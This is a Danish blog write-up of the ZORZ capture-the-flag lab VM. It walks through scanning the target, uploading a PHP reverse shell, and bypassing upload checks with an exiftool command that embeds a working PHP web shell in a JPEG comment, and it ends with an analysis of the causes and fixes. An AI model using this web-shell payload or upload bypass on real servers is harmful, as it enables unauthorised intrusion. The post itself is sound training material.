Øvelse gør mester som man siger, og når det kommer til penetration tests, så gør det sig selvfølgelig gældende der. Mange af de seriøse certificeringer inden for penetration test, kræver at man på en eller anden måde skal skaffe sig adgang til et eller flere systemer og derfra forsøge at finde sårbarheder, så man til sidst kan eskalere sine rettigheder til en bruger med admin-rettigheder. Samtidig med at det hele dokumenteres, så det kan indgå i en afsluttende rapport.

En af mulighederne for at få noget øvelse, er at lege med virtuelle maskiner, som er designet til formålet. Sitet Vulnhub.com indeholder en lang række af disse maskiner, som man ganske gratis kan hente og prøve lykken med. Populært bliver dette kaldt for "Capture the flag", fordi man typisk skal ind på et system og hente et bevis på at man har været der. Udover at give noget erfaring med forskellige værktøjer, så er det også ganske underholdende at rode med.

I dette blogindlæg vil jeg fortælle lidt om mine oplevelser med en VM der hedder ZORZ, som er lavet af TopHatSec.
Link: ZORZ på Vulnhub.com

Bemærk at de værktøjer som anvendes i denne artikel, ikke bør bruges imod IT-systemer hvor der ikke foreligger en aftale med ejeren om det. Det kan i værste fald betyde, at du begår noget ulovligt med dertilhørende konsekvenser. Dette er netop også grunden til, at det er muligt at hente maskiner man kan træne imod, uden at komme på kant med loven. Alle værktøjerne som anvendes er open source og kan således hentes gratis.

Udfordringen fra TopHatSec lyder som følger:

This machine will probably test your web app skills once again. There are 3 different pages that should be focused on (you will see!) If you solve one or all three pages, please send me an email and quick write up on how you solved each challenge. Your goal is to successfully upload a webshell or malicious file to the server. If you can execute system commands on this box, thats good enough!!! I hope you have fun!

Væbnet med Kali Linux, Google og masser af tålmodighed, så er det tid til at komme i gang....

Der er sikkert flere måder at løse udfordringerne på, men herunder kan du se hvordan jeg valgte at gøre det. Hvis du selv har tænkt dig at give det et forsøg, så bør du ikke læse videre før du selv er igennem, da det ødelægger det sjove i det.

Efter at maskinen er importeret i VirtualBox, så er næste skridt at finde IP-adressen. Det er rimelig trivielt, og jeg plejer at bruge netdiscover til formålet:

netdiscover -r 192.168.1.0/24 -P

Maskinenerne får tildelt IP-adresserne via DHCP, så det handler bare om at se hvilken ny IP-adresse der er dukket op på netværket efter at maskinen blev tændt. I dette tilfælde var det 192.168.1.17.

Næste skridt er at finde ud af hvad der gemmer sig på den pågældende maskine. TopHatSec havde allerede i beskrivelsen afsløret, at der var tale om en maskine med noget web på, men lad os se hvad den siger:

nmap -sV 192.168.1.17 --allports -O -A

Den kører altså ganske rigtigt en Apache 2.4.7 webserver på standard porten 80 og en OpenSSH 6.6.1p1 på port 22. Vi kan også se at det er en Ubuntu Linux som gemmer sig på IP-adressen.

Det næste jeg gør, er at åbne min Iceweasel browser og se hvad der mon gemmer sig på port 80. Det ligner at jeg har fundet frem til det sted hvor de tre udfordringer gemmer sig, for der ligger tre forskellige websider som alle tre har det til fælles, at de tillader upload af filer. Jeg klikker lidt rundt og sammenligner kildekoden på de tre forskellige html-sider, mere om det senere.

Udfordring 1:

Websiden ser sådan her ud:

Kildekoden er også ganske simpel:

Jeg prøver i første omgang at uploade et lille billede, for at se hvad der sker. Det resulterede bare i noget debug output, som ligner det der kommer ud hvis man laver en print_r($_FILES); i PHP:

Det ser ud til at det virkede, men problemet er at jeg ikke kan se hvor filerne bliver gemt - og om de overhovedet er tilgængelige for mig via webserveren. Først overvejer jeg at starte dirbuster op, for at se om den finder noget - men inden da, tænker jeg at jeg lige vil prøve at uploade filer til de to andre uploadere.

BINGO! Uploader nummer to, giver mig ikke rigtigt flere oplysninger end den første, men da jeg uploader et billede til den tredje uploader, så giver den mig en information om hvor billederne bliver gemt:

Et hurtigt tjek i browseren, afslører at filerne for den 3. uploader ganske rigtigt kan findes i /uploads3 kataloget, som endda har slået til så man kan se hvilke filer der ligger i kataloget, dejligt. Det viser sig selvfølgelig, at filerne fra den første uploader gemmer sig i /uploads1 og filerne fra den anden uploader i /uploads2.

Tilbage til at rode med selve upload af filerne, så er mit næste skridt at uploade en fil der hedder test.php, og som bare indeholder <?php phpinfo();?>. Dette gik også godt, hvilket afslører at der ikke er validering på hvilke filtyper der uploades.

Min test.php fil ligger derefter i /uploads1 kataloget, og når jeg går ind på den i min browser, så får jeg den velkendte information fra phpinfo(). Det afslører at det for det første er muligt at uploade PHP-scripts og for det andet at man kan eksekvere dem.

Mit næste skridt er at uploade et php script som giver mig en reverse shell, som jeg kan fange med netcat. Der findes en række af disse i Kali, som bare skal editeres før brug. Jeg uploader scriptet og går derefter ind på det direkte fra browseren, samtidig med at jeg har sat min netcat op til at lytte på den port som jeg har konfigureret scriptet til at forbinde ud til:

Få sekunder efter, har jeg en shell, som godt nok ikke har særlig mange rettigheder (www-data brugeren), men jeg har trods alt adgang til serveren. Nu roder jeg lidt rundt og tjekker blandt andet /etc/password ud for at se om der er noget interessant i den. Jeg kan desværre ikke få adgang til /etc/shadow, men opgaven gik også kun ud på at finde flaget. Jeg kigger desuden lidt i en masse andre filer, og finder frem til at DocumentRoot befinder sig i /var/www/html (som er standard på Ubuntu).

Kataloget l337saucel337/ springer lidt i øjnene og jeg finder da også en fil der hedder SECRETFILE i kataloget, som indeholder flaget der er bevis for at opgaven er løst (husk på, at det ikke handler om at opnå administrator-adgang i denne VM).

Første del af udfordringen er dermed overstået og det endda lidt nemmere end forventet.

Udfordring 2

Nu var det på tide at hoppe videre til den anden udfordring på denne virtuelle maskine. Nummer to uploader ligner umiddelbart den første som jeg netop havde fået en shell igennem, så det første jeg prøvede var at uploade samme PHP reverse shell script igen, men denne gang gik det ikke så nemt, jeg fik nedenstående besked - den tjekker åbenbart om det rent faktisk er en fil med det rigtige format denne gang.

Æv. Så prøver jeg lige at tilføje .jpg endelsen til filen, i håb om at scriptet måske kun validerer på selve filnavnet og ikke typen, men det viste sig heller ikke at være tilfældet. Endnu en blindgyde. Derefter roder jeg rundt lidt længe og prøver forskellige ting, f.eks. at tilføje PNG signaturen i starten af et PHP script for at se om det så er muligt for mig at uploade og andre ting i samme boldgade. Dog stadig uden held.

Det tyder altså på, at det er nødvendigt at uploade et rigtigt billede, og jeg kommer i tanke om at jeg på et tidspunkt havde læst om billeder der kunne indeholde PHP kode som kommentarer. Efter et stykke tid på Google fandt jeg frem til, at man kan tilføje en kommentar til et billede som vil blive eksekveret i nogle tilfælde, hvis man giver filen to endelser. Det prøver vi lige.

Til at manipulere billedet, så bruger jeg exiftool som åbenbart ikke er med i Kali Linux som standard, men som nemt kan hentes ned via 'apt-get install exiftool'. Derefter prøver jeg at tilføje en kommentar til mit JPG billede - i starten smed jeg bare phpinfo(); ind i filen, men da jeg fandt ud af at det virkede, så ændrede jeg det til et systemkald:

exiftool -Comment='<pre><?php system($_GET['c']);exit;?></pre>' evil-minion.jpg

Derefter så meta-data på filen således ud:

Jeg omdøbte derefter filen til evil-minion.php.jpg og prøvede at uploade den. Denne gang gik det godt og jeg kunne kalde filen med parametre via browseren. (Som den skarpe læser vil opdage, så hedder filen faktisk 4, det skyldes at jeg måtte prøve lidt frem og tilbage inden den sad helt i skabet).

Herfra, ville jeg kunne kalde eksempelvis 'wget' til at hente det PHP shell script ned som jeg har brugt tidligere og igen opnå en shell adgang til serveren via Netcat. Det sprang jeg dog over, da jeg sagtens kunne navigere rundt via mit lille billede-hack og igen finde indholdet af SECRETFILE.

Udfordring 3

Med den anden udfordring vel overstået - til trods for at den tog mig noget længere tid en den første, så var det nu tid til at hoppe videre til den tredje og sidste udfordring. Ved første øjekast, så virker den lidt mere avanceret. Filstrukturen afslører at den bruger jQuery og så er designet forskelligt fra de to forrige.

Det første jeg gør, er dog lige at prøve at uploade den fil som jeg lavede i udfordring nummer 2. Jeg regnede ikke med at det ville virke, men den var jo lavet i forvejen så det ville ikke koste noget tid. Til min store overraskelse så virkede det rent faktisk også her og filen der udnyttede sikkerhedshullet blev fint uploadet.

Derefter var det bare at navigere til filen igen, og wupti, så var der hul igennem til en shell. Igen her kunne jeg vælge at gøre situationen mere bekvemt ved at bruge wget eller lignende til at uploade mit reverse shell script, men da jeg selvfølgelig godt kunne få fat i flaget, så var der ingen grund til det.

Jeg var lidt overrasket over, at den sidste udfordring var så lige til, da jeg egentlig havde forventet at sværhedsgraden ville være højere end den anden, men sådan kan man åbenbart være heldig nogle gange.

Konklusion

Selv om opgaven med denne maskine udelukkende var at få fat i flaget, så valgte jeg alligevel at rode lidt mere rundt. Her fandt jeg blandt andet ud af, at der også var en phpmyadmin installeret på serveren, og efter at have kigget lidt i de forskellige konfigurationsfiler, så fik jeg også adgang til denne via webinterfacet på /phpmyadmin (u: phpmyadmin / p: toor2600root), der gemte sig dog ikke noget af nyttig karakter der og jeg havde jo i forvejen fået adgang.

Alt i alt var det en ganske sjov udfordring, som genopfriskede et par af faldgrupperne ved lade brugere uploade filer. Det kunne have været hyggeligt at afslutte med at få root-adgang til serveren, men sådan skulle det ikke gå i denne omgang - og det var som sagt heller ikke det som udfordringen gik ud på.

Hvorfor var det muligt at hacke serveren?

Én ting er at opnå adgang til serveren og hente et flag, en anden ting er at forstå hvorfor det egentlig var muligt at udnytte de forskellige sikkerhedshuller og hvad der var årsag til at de overhovedet var der. Det vil jeg give et bud på her.

Uploader 1:
Her var fejlen selvfølgelig åbenlys: Der var ikke nogen validering på hvilke filer der blev uploadet og dermed kunne en angriber med den nuværende serverkonfiguration ret nemt få adgang til at rode rundt på serveren.

Uploader 2 & 3:
Her var situationen anderledes. Der var som bekendt tjek på filtypen, men der burde også have været tjek på at filnavnet ikke indeholdte .php. Som du måske husker, så måtte jeg kalde min fil for filnavn.php.jpg for at få den uploadet. Her kunne man have sørget for at fjerne .php delen, så ville det ikke have været muligt at udnytte den dårlige konfiguration.

Jeg kiggede rundt i de forskellige konfigurationsfiler for henholdsvis PHP og Apache for at prøve at lokalisere hvorfor den egentlig fortolkede en .php.jpg fil som værende et PHP script. Det viste sig at der i Apache konfigurationen for PHP, var angivet en AddHandler som ikke burde have været der:

Det var ganske enkelt på grund af denne, at serveren fortolkede min evil-minion.php.jpg fil som værende et PHP script. Det skal i øvrigt lige siges, at AddHandleren her ikke er med som standard i Apache/PHP installationen, da man bruger FilesMatch. Det betyder at eksemplet i udfordring 2 og 3 nok ikke vil virke særligt mange steder i dag.

Mere læsestof:
https://www.acunetix.com/websitesecurity/upload-forms-threat/
http://websec.io/2012/09/05/A-Silent-Threat-PHP-in-EXIF.html

Min forsøgs-Minion, i en mindre ond udgave: